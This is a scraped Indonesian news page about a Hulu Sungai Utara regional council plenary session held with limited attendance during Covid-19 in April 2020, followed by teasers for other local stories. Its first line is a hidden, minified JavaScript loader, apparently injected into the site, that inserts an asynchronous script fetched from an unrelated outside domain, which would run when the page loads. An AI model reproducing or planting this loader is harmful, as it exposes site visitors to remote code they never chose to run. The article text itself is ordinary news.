(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Rapat Paripurna di DPRD HSU Digelar Terbatas


KANALKALIMANTAN.COM, AMUNTAI – Pertama kali, Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) menggelar rapat paripurna di tengah pandemi virus corona disease 2019 (Covid-19) secara terbatas.

Rapat paripurna digelar di ruang rapat DPRD HSU, Rabu (22/4/2020), membahas penyampaian Laporan Keterangan Pertanggungjawaban (LKPj) kepala daerah Kabupaten HSU tahun anggaran 2019. Saat rapat nggota DPRD HSU diberi jarak antara satu dengan lainnya.

Ketua DPRD HSU Almien Ashar Safari mengatakan, rapat paripurna tetap digelar meski terbatas yang hanya dihadiri anggota legislatif dan eksekutif tanpa undangan.

“Sebagai upaya pencegahan dan mengurangi resiko penularan virus corona, selain selalu menjaga kebersihan, berprilaku hidup sehat, kita juga dianjurkan untuk melakukan sosialdistancing dengan tidak melakukan kegiatan mempulkan orang banyak, sehingga rapat paripurna hari berbeda dengan paripurna sebelumnya,” ujar Almien.

DPRD HSU menggelar rapat paripurna di tengah pandemi virus corona disease 2019 (Covid-19) secara terbatas, Rabu (22/4/2020). Foto: dew

Kemendagri RI menerbitkan edaran perpanjangan waktu LKPJ kepala daerah sampai tanggal 20 April 2020 mendatang.

Karenanya, rapat paripurna DPRD dengan agenda penyampaian LKPJ kepala daerah tahun anggaran 2019 tetap dilaksanakan sebagai pertanggungjawaban kepala daerah guna ditindaklanjuti dengan pengambilan keputusan terhadap 6 buah rancangan peraturan daerah Kabupaten HSU.

“Kami meminta seluruh lapisan masyarakat kabupaten Hulu Sungai Utara, untuk selalu mematuhi dan mengikuti petunjuk pemerintah, karena itu sebagai upaya kita bersama sama untuk mencegah dan memutus rantai penyebaran pandemi virus corona,” harapannya.

Dalam rapat paripurna DPRD kali ini, sebanyak 26 Anggota DPRD, sebagian kepala SKPD di lingkungan Pemkab tanpa kehadiran pejabat Forkopimda. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

 


Al Ghifari

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

5 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

8 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

9 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

10 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

12 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

12 jam ago

This website uses cookies.